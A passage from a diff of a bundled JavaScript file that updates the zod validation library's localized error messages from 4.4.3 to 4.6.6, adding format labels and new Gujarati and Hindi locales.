"dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -60829,11 +62132,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; @@ -60844,7 +62147,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, ${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -60869,13 +62172,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -60895,17 +62198,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60931,12 +62235,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -61003,12 +62311,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -61061,6 +62483,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -61074,13 +62498,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -61198,12 +62627,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -61234,12 +62775,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -61321,17 +62866,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61357,12 +62903,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -61430,11 +62980,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -61445,7 +62995,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -61474,6 +63024,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -61500,12 +63057,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -61578,17 +63139,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61614,12 +63176,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: 